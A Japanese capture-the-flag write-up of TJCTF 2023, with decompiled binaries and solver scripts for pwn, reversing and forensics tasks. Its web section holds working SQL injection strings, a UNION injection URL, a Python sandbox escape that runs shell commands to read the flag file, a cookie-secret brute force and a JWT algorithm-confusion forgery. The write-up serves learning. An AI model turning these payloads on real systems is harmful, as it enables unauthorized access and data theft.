この大会は2023/5/26 9:00(JST)~2023/5/28 9:00(JST)に開催されました。
今回もチームで参戦。結果は553点で1047チーム中57位でした。
自分で解けた問題をWriteupとして書いておきます。
discord (misc)
Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。
tjctf{b4ck_4t_1t_4ga1n}
flip-out (pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { uint uVar1; FILE *__stream; undefined8 uVar2; long in_FS_OFFSET; undefined8 local_b8; undefined8 local_b0; undefined8 local_a8; undefined8 local_a0; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; undefined8 local_60; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined local_30; undefined7 uStack_2f; undefined uStack_28; undefined8 local_27; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); local_b8 = 0x20676e6968746f4e; local_b0 = 0x6820656573206f74; local_a8 = 0x4e202e2e2e657265; local_a0 = 0x7420676e6968746f; local_98 = 0x656820656573206f; local_90 = 0x2e2e2e6572; local_88 = 0; local_80 = 0; local_78 = 0; local_70 = 0; local_68 = 0; local_60 = 0; local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; uStack_2f = 0; uStack_28 = 0; local_27 = 0; __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { printf("Cannot find flag.txt."); uVar2 = 1; } else { fgets((char *)&local_38,0x19,__stream); fclose(__stream); printf("Input: "); __isoc99_scanf(&DAT_0010202d,&local_b8); uVar1 = atoi((char *)&local_b8); if ((int)uVar1 < 0x81) { printf("%s",(long)&local_b8 + (long)(int)(uVar1 & 0xff)); uVar2 = 0; } else { uVar2 = 0; } } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; }
どのインデックスから表示させるかを指定する。128を指定すればよい。
$ nc tjc.tf 31601 Input: 128 tjctf{chop-c4st-7bndbji}
tjctf{chop-c4st-7bndbji}
wtmoo (rev)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; size_t sVar2; undefined8 uVar3; long in_FS_OFFSET; int local_60; undefined4 local_5c; char local_58 [32]; char local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Enter text: "); fgets(local_58,0x20,stdin); sVar2 = strlen(local_58); local_58[sVar2 - 1] = '\0'; strcpy(local_38,local_58); sVar2 = strlen(local_58); local_5c = (int)sVar2; local_60 = 0; do { if (local_5c <= local_60) { iVar1 = strcmp(local_58,flag); if (iVar1 == 0) { printf(cow,local_38); } else { printf(cow,local_58); } uVar3 = 0; LAB_00101427: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar3; } if ((local_58[local_60] < 'a') || ('z' < local_58[local_60])) { if ((local_58[local_60] < 'A') || ('Z' < local_58[local_60])) { if ((local_58[local_60] < '0') || ('4' < local_58[local_60])) { if ((local_58[local_60] < '5') || ('9' < local_58[local_60])) { if ((local_58[local_60] != '{') && (local_58[local_60] != '}')) { puts("wtmoo is this guess???"); printf("%c\n",(ulong)(uint)(int)local_58[local_60]); uVar3 = 1; goto LAB_00101427; } } else { local_58[local_60] = local_58[local_60] + -0x15; } } else { local_58[local_60] = local_58[local_60] + '+'; } } else { local_58[local_60] = local_58[local_60] + ' '; } } else { local_58[local_60] = local_58[local_60] + -0x3c; } local_60 = local_60 + 1; } while( true ); } flag XREF[2]: Entry Point(*), main:001013d0(R) 00104018 8b 20 10 addr s_8.'8*{;8m33[o[3[3[%")#*\}_0010208b = "8.'8*{;8m33[o[3[3[%\")#*\\}" 00 00 00 00 00
以下のような暗号になっているので、元に戻す。
・英小文字の場合は、-0x3c ・英大文字の場合は、+0x20 ・0~4の場合は、+0x2b ・5~9の場合は、-0x15 ・{}はそのまま
#!/usr/bin/env python3 from string import * chars = ascii_letters + digits + '{}' dic = {} for c in chars: if c.islower(): dic[chr(ord(c) - 0x3c)] = c elif c.isupper(): dic[chr(ord(c) + 0x20)] = c elif c in digits[:5]: dic[chr(ord(c) + 0x2b)] = c elif c in digits[5:]: dic[chr(ord(c) - 0x15)] = c else: dic[c] = c enc = '8.\'8*{;8m33[o[3[3[%")#*\\}' flag = '' for c in enc: flag += dic[c] print(flag)
tjctf{wtMoo0O0o0o0a7e8f1}
maybe (rev)
Ghidraでデコンパイルする。
undefined8 main(void) { size_t sVar1; undefined8 uVar2; long in_FS_OFFSET; int local_6c; byte local_68 [72]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); puts("Enter your flag"); fgets((char *)local_68,0x40,stdin); sVar1 = strlen((char *)local_68); if (sVar1 == 0x21) { local_6c = 4; while( true ) { sVar1 = strlen((char *)local_68); if (sVar1 - 1 <= (ulong)(long)local_6c) break; if ((local_68[local_6c] ^ local_68[local_6c + -4]) != (&flag)[local_6c + -4]) { puts("you\'re def wrong smh"); uVar2 = 1; goto LAB_00101257; } local_6c = local_6c + 1; } puts("you might be right??? you might be wrong.... who knows?"); uVar2 = 0; } else { puts("bad"); uVar2 = 1; } LAB_00101257: if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; } flag XREF[3]: Entry Point(*), main:001011ff(*), main:00101206(R) 00102010 12 undefined1 12h 00102011 11 ?? 11h 00102012 00 ?? 00h 00102013 15 ?? 15h 00102014 0b ?? 0Bh 00102015 48 ?? 48h H 00102016 3c ?? 3Ch < 00102017 12 ?? 12h 00102018 0c ?? 0Ch 00102019 44 ?? 44h D 0010201a 00 ?? 00h 0010201b 10 ?? 10h 0010201c 51 ?? 51h Q 0010201d 19 ?? 19h 0010201e 2e ?? 2Eh . 0010201f 16 ?? 16h 00102020 03 ?? 03h 00102021 1c ?? 1Ch 00102022 42 ?? 42h B 00102023 11 ?? 11h 00102024 0a ?? 0Ah 00102025 4a ?? 4Ah J 00102026 72 ?? 72h r 00102027 56 ?? 56h V 00102028 0d ?? 0Dh 00102029 7a ?? 7Ah z 0010202a 74 ?? 74h t 0010202b 4f ?? 4Fh O 0010202c 00 ?? 00h
入力をflagとし、上記のflagデータをencとすると以下のようになる。
flag[0] ^ flag[4] = enc[0] flag[1] ^ flag[5] = enc[1] :
flagは"tjct"から始まることを前提にflagを求める。
#!/usr/bin/env python3 enc = [0x12, 0x11, 0x00, 0x15, 0x0b, 0x48, 0x3c, 0x12, 0x0c, 0x44, 0x00, 0x10, 0x51, 0x19, 0x2e, 0x16, 0x03, 0x1c, 0x42, 0x11, 0x0a, 0x4a, 0x72, 0x56, 0x0d, 0x7a, 0x74, 0x4f] flag = 'tjct' for i in range(len(enc)): flag += chr(enc[i] ^ ord(flag[i])) print(flag)
tjctf{cam3_saw_c0nqu3r3d98A24B5}
scramble (rev)
最初の3行以外は順番が入れ替わっているようだ。インデントもないので、つじつまが合うように正しい順番にする。
import random seed = 1000 random.seed(seed) def recur(lst): if(len(lst)==1): assert(lst[0]>0) return lst[0] return recur(lst[::2])/recur(lst[1::2]) def decrypt(inp): mod = 256 n = len(inp) l = [] for i in range(n): l.append(random.randint(6, 420)) assert(len(l)==n) l2 = [0]*n for i in range(1, n): l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i] l2[i] += inp[i] l2[0] +=int(recur(l2[1:])*50) print(l2) l3 =[0]*n l3[0] = l2[0]%mod for i in range(1, n): l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124] flag = "" for i in range(n): flag+=chr((l4[i]^l3[i])) return flag def main(): flag_length = 31 inp = [1]*flag_length print("flag is:", decrypt(inp)) main()
実行結果は以下の通り。
[50, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1] flag is: tjctf{unshuffling_scripts_xdfj}
tjctf{unshuffling_scripts_xdfj}
div3rev (rev)
bをフラグのASCIIコードのバイト配列にしたときに、最終的にrecur(b)が既定の値になればよい。既定の値は27バイト文字列なので、元も27バイト文字列である。このことを前提に処理を追っていく。
recur(b) = op1(recur(b[0:9]))+op2(recur(b[9:18]))+op3(recur(b[18:27])) = op1(op1(recur(b[0:3]))+op2(recur(b[3:6]))+op3(recur(b[6:9]))) + op2(op1(recur(b[9:12]))+op2(recur(b[12:15]))+op3(recur(b[15:18]))) + op3(op1(recur(b[18:21]))+op2(recur(b[21:24]))+op3(recur(b[24:27]))) = op1(op1(op1(recur(b[0]))+op2(recur(b[1]))+op3(recur(b[2]))) + op2(op1(recur(b[3]))+op2(recur(b[4]))+op3(recur(b[5]))) + op3(op1(recur(b[6]))+op2(recur(b[7]))+op3(recur(b[8])))) :
op1~op3の逆算の関数を考える。
op1は実質以下の処理と同等。
b[i] += 8 * ((b[i] * b[i] + 1) & 1)
つまりb[i]が偶数の場合、b[i] = b[i] + 8、奇数の場合、b[i] = b[i]。
op2は実質以下の処理と同等。
b[i] += 12
op3は実質右シフトの処理と同等。
このため、逆算も簡単に対応できる。
#!/usr/bin/env python3 def rev_op1(b): for i in range(len(b)): if b[i] % 2 == 0: b[i] -= 8 return b def rev_op2(b): for i in range(len(b)): b[i] -= 12 return b def rev_op3(b): for i in range(len(b)): b[i] = (b[i] // 128) + ((b[i] << 1) & 0xff) return b res = b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf' b = [r for r in res] b = rev_op1(b[0:9]) + rev_op2(b[9:18]) + rev_op3(b[18:27]) b = rev_op1(b[0:3]) + rev_op2(b[3:6]) + rev_op3(b[6:9]) \ + rev_op1(b[9:12]) + rev_op2(b[12:15]) + rev_op3(b[15:18]) \ + rev_op1(b[18:21]) + rev_op2(b[21:24]) + rev_op3(b[24:27]) tmp_b = b b = [] for i in range(len(tmp_b)): if i % 3 == 0: b += rev_op1([tmp_b[i]]) elif i % 3 == 1: b += rev_op2([tmp_b[i]]) else: b += rev_op3([tmp_b[i]]) flag = '' for c in b: flag += chr(c) print(flag)
tjctf{randomfifteenmorelet}
dream (rev)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; ulong uVar2; ulong uVar3; FILE *__stream; long in_FS_OFFSET; int local_238; int local_234; char local_218 [256]; char local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); type_text("last night, I had a dream...\ntaylor sw1ft, the dollar store version, appeared!\n"); prompt("what should I do? ",local_218,0x100); iVar1 = strcmp("sing",local_218); if (iVar1 != 0) { puts("no, no, that\'s a bad idea."); /* WARNING: Subroutine does not return */ exit(0); } prompt("that\'s a great idea!\nI started to sing the following lyrics: ",local_218,0x100); iVar1 = strcmp("maybe I asked for too [many challenges to be written]",local_218); if (iVar1 != 0) { puts("no, that\'s a dumb lyric."); /* WARNING: Subroutine does not return */ exit(0); } type_text("ok... that\'s a weird lyric but whatever\n"); prompt("that leads me to ask... how many challenges did you ask for??? ",local_218,0x100); uVar2 = atol(local_218); if ((((uVar2 * 3 ^ 0xb6d8) % 0x521) * 0x23) % 0x5eb != 0x55a) { type_text("that\'s a stupid number.\n"); /* WARNING: Subroutine does not return */ exit(0); } prompt("ok yeah you\'re asking too much of everyone; try to lower the number??? ",local_218,0x100) ; uVar3 = atol(local_218); if ((((uVar3 * 5) % 0x1e61 | 0x457) * 0x23 - 5) % 1000 != 0x50) { type_text("yeah."); /* WARNING: Subroutine does not return */ exit(0); } if ((uVar2 % uVar3 != 0x1344224) || (uVar2 * uVar3 != 0x33d5d816326aad)) { type_text("ok but they might think that\'s too much comparatively, duh.\n"); /* WARNING: Subroutine does not return */ exit(0); } type_text("that\'s a lot more reasonable - good on you!\n"); usleep(75000); type_text("ok, now that we\'ve got that out of the way, back to the story...\n"); type_text("taylor was like, \"wow, you\'re so cool!\", and I said, \"no, you\'re so cool!\"\n"); type_text( "after that, we kinda just sat in silence for a little bit. I could kinda tell I was losi ng her attention, so " ); local_238 = 0; for (local_234 = 0; local_234 < 0xc; local_234 = local_234 + 1) { prompt("what should I do next? ",local_218,0x100); iVar1 = strcmp("ask her about some flags",local_218); if (iVar1 == 0) { local_238 = local_238 + 1; } else { iVar1 = strcmp("ask her about her new album",local_218); if (iVar1 == 0) { local_238 = local_238 * local_238; } else { iVar1 = strcmp("ask her about her tour",local_218); if (iVar1 != 0) { type_text("no, that\'s weird\n"); /* WARNING: Subroutine does not return */ exit(0); } local_238 = local_238 + 0x16; } } } if (local_238 != 0x92f) { type_text("taylor died of boredom\n"); /* WARNING: Subroutine does not return */ exit(0); } type_text( "taylor got sick and tired of me asking her about various topics, so she finally responde d: " ); __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { type_text("no flag </3\n"); /* WARNING: Subroutine does not return */ exit(0); } fgets(local_118,0x100,__stream); type_text(local_118); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
条件を満たすように答えていく。
1つ目は"sing"と答えればよい。
2つ目は"maybe I asked for too [many challenges to be written]"と答えればよい。
3つ目は以下の条件を満たすようなxを答える。
(((x * 3 ^ 0xb6d8) % 0x521) * 0x23) % 0x5eb == 0x55a
4つ目は以下の条件を満たすようなyを答える。
・(((y * 5) % 0x1e61 | 0x457) * 0x23 - 5) % 1000 == 0x50 ・(x % y == 0x1344224) && (x * y == 0x33d5d816326aad)
3つ目で答える際にこの条件も満たす必要がある。x, yについてz3で求める。
5つ目については以下のことを考える必要がある。
・local_238の初期値は0 ・"ask her about some flags"と答えると、local_238はプラス1 ・"ask her about her new album"と答えると、local_238はlocal_238*local_238 ・"ask her about her tour"と答えると、local_238はプラス0x16 ・回答は12回行う。 ・最終的にlocal_238が0x92fになればよい。
12回の総あたりで目的の値になるものを探す。
#!/usr/bin/env python3 from pwn import * from z3 import * import itertools p = remote('tjc.tf', 31500) ans = 'sing' data = p.recvuntil(b'? ').decode() print(data + ans) p.sendline(ans.encode()) ans = 'maybe I asked for too [many challenges to be written]' data = p.recvuntil(b': ').decode() print(data + ans) p.sendline(ans.encode()) x = BitVec('x', 32) y = BitVec('y', 32) s = Solver() s.add((((x * 3 ^ 0xb6d8) % 0x521) * 0x23) % 0x5eb == 0x55a) s.add((((y * 5) % 0x1e61 | 0x457) * 0x23 - 5) % 1000 == 0x50) s.add(x % y == 0x1344224) s.add(x * y == 0x33d5d816326aad) r = s.check() assert r == sat m = s.model() x = m[x].as_long() y = m[y].as_long() ans = str(x) data = p.recvuntil(b'? ').decode() print(data + ans) p.sendline(ans.encode()) ans = str(y) data = p.recvuntil(b'? ').decode() print(data + ans) p.sendline(ans.encode()) nums = [0, 1, 2] for menu in itertools.product(nums, repeat=12): v = 0 for m in menu: if m == 0: v += 1 elif m == 1: v = v * v else: v += 0x16 if v == 0x92f: break answers = [ 'ask her about some flags', 'ask her about her new album', 'ask her about her tour' ] for i in range(12): ans = answers[menu[i]] data = p.recvuntil(b'? ').decode() print(data + ans) p.sendline(ans.encode()) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to tjc.tf on port 31500: Done last night, I had a dream... taylor sw1ft, the dollar store version, appeared! what should I do? sing that's a great idea! I started to sing the following lyrics: maybe I asked for too [many challenges to be written] ok... that's a weird lyric but whatever that leads me to ask... how many challenges did you ask for??? 131313131 ok yeah you're asking too much of everyone; try to lower the number??? 111111111 that's a lot more reasonable - good on you! ok, now that we've got that out of the way, back to the story... taylor was like, "wow, you're so cool!", and I said, "no, you're so cool!" after that, we kinda just sat in silence for a little bit. I could kinda tell I was losing her attention, so what should I do next? ask her about some flags what should I do next? ask her about some flags what should I do next? ask her about some flags what should I do next? ask her about some flags what should I do next? ask her about her tour what should I do next? ask her about her tour what should I do next? ask her about her new album what should I do next? ask her about some flags what should I do next? ask her about some flags what should I do next? ask her about some flags what should I do next? ask her about her tour what should I do next? ask her about her tour taylor got sick and tired of me asking her about various topics, so she finally responded: tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a} [*] Closed connection to tjc.tf port 31500
tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a}
swill-squill (web)
SQLインジェクションで以下を入力し、Registerすれば、adminのNoteのデータを表示できる。
Name : admin' -- Grade: 任意の文字列
結果、以下が表示された。
My English class is soooooo hard... C- in Calculus LOL Saved this flag for safekeeping: tjctf{swill_sql_1y1029345029374}
tjctf{swill_sql_1y1029345029374}
outdated (web)
pyjailの問題と推測し、ファイルにコードを書いてアップロードする。
・print("".__class__.__mro__[1].__subclasses__()) Results of code: [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
class 'os._wrap_close' のインデックスは132であるとわかる。"sys"はブラックリストにあるので、分離して指定して、ファイル一覧を取得する。
・"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['s' + 'ystem']('ls -la') Results of code: total 48 drwxr-xr-x 1 root root 4096 May 26 06:36 . drwxr-xr-x 1 root root 4096 May 26 06:36 .. -rw-r--r-- 1 root root 9 Apr 6 21:58 .dockerignore -rw-r--r-- 1 root root 131 Apr 6 21:58 Dockerfile drwxr-xr-x 2 root root 4096 May 26 06:36 __pycache__ -rw-r--r-- 1 root root 2936 Apr 6 21:58 app.py -rw-r--r-- 1 root root 32 Apr 6 21:58 flag-1b794b81-9ddc-4f35-9806-06eba507a92c.txt -rwxr-xr-x 1 root root 130 Apr 6 21:58 run.sh drwxr-xr-x 2 root root 4096 Apr 6 22:02 static drwxr-xr-x 2 root root 4096 Apr 6 22:10 templates drwxr-xr-x 2 root root 4096 May 26 06:42 uploads
フラグのファイル名がわかったので、ファイルの内容を読み取る。
・"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['s' + 'ystem']('cat flag-1b794b81-9ddc-4f35-9806-06eba507a92c.txt') Results of code: tjctf{oops_bad_filter_3b582f74}
tjctf{oops_bad_filter_3b582f74}
pay-to-win (web)
例えば、usernameに"hoge"と入力すると以下のようになる。
users['hoge'] = ランダム3バイトのhex文字列 data = '{"username": "hoge", "user_type": "basic"}' b64data: dataのbase64エンコード data_hash: (b64data + users['hoge']) のsha256ダイジェスト(hex) クッキーのdataにb64data、hashにdata_hashを設定
試したら、クッキーの値は以下のようになっていた。
b64data: eyJ1c2VybmFtZSI6ICJob2dlIiwgInVzZXJfdHlwZSI6ICJiYXNpYyJ9 hash: 7f5bde3a9c26495ff3c6afaafe0a55f40b88311320a08b3ce7f41327e088f7b8
user_typeを"premium"にして妥当なデータにすることができれば、フラグが得られそう。users['hoge']をブルートフォースして求め、妥当なデータを取得する。
#!/usr/bin/env python3 from base64 import b64encode, b64decode import hashlib import json import itertools def hash(data): return hashlib.sha256(bytes(data, 'utf-8')).hexdigest() b64data = 'eyJ1c2VybmFtZSI6ICJob2dlIiwgInVzZXJfdHlwZSI6ICJiYXNpYyJ9' data_hash = '7f5bde3a9c26495ff3c6afaafe0a55f40b88311320a08b3ce7f41327e088f7b8' for r in range(256**3): users_hoge = hex(r)[2:].zfill(6) h = hash(b64data + users_hoge) if h == data_hash: break data = json.loads(b64decode(b64data)) data['user_type'] = 'premium' b64data = b64encode(json.dumps(data).encode()).decode() print('[+] data:', b64data) data_hash = hash(b64data + users_hoge) print('[+] hash:', data_hash)
実行結果は以下の通り。
[+] data: eyJ1c2VybmFtZSI6ICJob2dlIiwgInVzZXJfdHlwZSI6ICJwcmVtaXVtIn0= [+] hash: e050619ee195c6bca73866b0ea0a2ec2f560abbb8fc348230d908f6c380f2303
これをクッキーにそれぞれ設定しリロードすると、プレミアムサイトに入ることができた。
このサイトでgetパラメータ「theme」に指定したファイルの読み込みをするようになっているので、以下のURLにアクセスする。
https://pay-to-win.tjc.tf/?theme=/secret-flag-dir/flag.txt ||> HTMLソースを見ると、以下のように書いてあった。 >|html| <style> tjctf{not_random_enough_64831eff} </style>
tjctf{not_random_enough_64831eff}
ez-sql (web)
https://ez-sql.tjc.tf/searchでgetパラメータnameに指定することで部分一致検索ができる。SQLインジェクションをしたいが、nameの値の長さが6未満である必要がある。
配列を使うと長さに気を付ける必要がないことを使って、UNION句で情報を引き抜く。
フラグの入っているテーブルは以下の形式なので、まずテーブル名を調べる。
flag_${uuid.v4().replace(/-/g, '_')}
以下のURLにアクセスする。
https://ez-sql.tjc.tf/search?name[]=XX%27%20union%20select%201,name%20from%20sqlite_master%20where%20type%20=%20%27table%27%20--
結果は以下の通り。
[{"id":1,"joke":"flag_49640762_7310_487e_87c4_a0a4d09bf482"},{"id":1,"joke":"jokes"}]
以下のURLにアクセスする。
https://ez-sql.tjc.tf/search?name[]=XX%27%20union%20select%201,flag%20from%20flag_49640762_7310_487e_87c4_a0a4d09bf482%20--
結果は以下の通りでフラグが得られた。
[{"id":1,"joke":"tjctf{ezpz_l3mon_squ33zy_603f8e08}"}]
tjctf{ezpz_l3mon_squ33zy_603f8e08}
back-to-the-past (web)
適当なユーザを登録すると、クッキーのtokenに以下が設定されていた。
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJSUzI1NiJ9.eyJpZCI6ICJlZjI3ZTEzZS0yODUxLTRjN2QtOGU0Mi04MTU1NDk1YjQ4ZjYiLCAidXNlcm5hbWUiOiAiaG9nZSIsICJ5ZWFyIjogIjE5NzEifQ.f0STV_dJFFz5UNEmZG43q-Y5QIxKyu7gmX-hVhjtXm3GFJZ1HVwLZy06y5fPuxmxQ23uWFGh1Ob0jfqbW7BvI-vYAqeBBDrUO5RiTUGbQ-JE-ufLyJPYwWVz3t30BrjV2bbXwh67oefdQtqLcVTe8ddWK3eANol4GFeN-LXiV_-VcJHrM9hFfqpHtR6UNn1DG55zinBd-WBbkd3rGcBMIUxHA0fSgVCeTmUvC_hXUPWzvBCbx7SnnUr_Dq9f_UMlABi-wUvW7fhWNhXz_yuxr1XkTJNnCwNhiD-8c1OXPtqE-vRqdHBsrX33joYFHI__IsfYvVzKqJCduAe6n6GKhg
base64デコードして、データを確認する。
$ echo eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJSUzI1NiJ9 | base64 -d {"typ": "JWT", "alg": "RS256"}
$ echo eyJpZCI6ICJlZjI3ZTEzZS0yODUxLTRjN2QtOGU0Mi04MTU1NDk1YjQ4ZjYiLCAidXNlcm5hbWUiOiAiaG9nZSIsICJ5ZWFyIjogIjE5NzEifQ== | base64 -d {"id": "ef27e13e-2851-4c7d-8e42-8155495b48f6", "username": "hoge", "year": "1971"}
yearを1970以下にすると、フラグが表示されるが、このtokenを生成するAPIでは1970以下はエラーになる。RS256をHS256にして、公開鍵で認証をすり抜けることができる脆弱性を突く。
生成したtokenを元にHS256アルゴリズム版のtokenを作成する。
#!/usr/bin/env python3 import jwt with open('public_key.pem', 'r') as f: pubkey = f.read() payload = {"id": "ef27e13e-2851-4c7d-8e42-8155495b48f6", "username": "hoge", "year": "1970"} token = jwt.encode(payload, key=pubkey, algorithm='HS256').decode() print(token)
作成したtokenは以下の通り。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6ImVmMjdlMTNlLTI4NTEtNGM3ZC04ZTQyLTgxNTU0OTViNDhmNiIsInVzZXJuYW1lIjoiaG9nZSIsInllYXIiOiIxOTcwIn0.4Yj_uMg7sfsUH7MWmBHPBYVA_0i8P2EaCKzlz0cbhC4
これをクッキーのtokenに設定して、https://back-to-the-future.tjc.tf/retroにアクセスすると、フラグが表示された。
tjctf{very_very_retro_3bbff613}
beep-boop-robot (forensics)
Audacityで開き、波形を見ると、モールス信号になっているので、書き出す。
.... .. .... --- .-- .- .-. . -.-- --- ..- -.. --- .. -. --. .-.-.- - .... . ..-. .-.. .- --. .. ... - .--- -.-. - ..-. - .... .. ... .. ... .- .-.. .-.. --- -. . .-- --- .-. -.. .-.. -- .- ---
https://morsecode.world/international/translator.htmlでデコードする。
HI HOW ARE YOU DOING. THE FLAG IS TJCTFTHISISALLONEWORDLMAO
tjctf{thisisallonewordlmao}
nothing-to-see (forensics)
$ binwalk nothing.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 560 x 450, 8-bit/color RGBA, non-interlaced 14751 0x399F Zip archive data, encrypted at least v2.0 to extract, compressed size: 45, uncompressed size: 38, name: flag.txt 14956 0x3A6C End of Zip archive, footer length: 22 $ foremost nothing.png Processing: nothing.png |foundat=flag.txtUT *|
zipを抽出できたが、パスワードがかかっている。
$ exiftool nothing.png ExifTool Version Number : 12.57 File Name : nothing.png Directory : . File Size : 15 kB File Modification Date/Time : 2023:05:26 09:31:23+09:00 File Access Date/Time : 2023:05:26 09:42:24+09:00 File Inode Change Date/Time : 2023:05:26 09:41:25+09:00 File Permissions : -rwxrwx--- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 560 Image Height : 450 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Title : panda_d02b3ab3 Warning : [minor] Trailer data after PNG IEND chunk Image Size : 560x450 Megapixels : 0.252
Titleに設定されている文字列"panda_d02b3ab3"をパスワードと推測し、zipを解凍する。
$ unzip output/zip/00000028.zip Archive: output/zip/00000028.zip [output/zip/00000028.zip] flag.txt password: inflating: flag.txt $ cat flag.txt flag{the_end_is_not_the_end_4c261b91}
正しいフラグの形式に変更する。
tjctf{the_end_is_not_the_end_4c261b91}
neofeudalism (forensics)
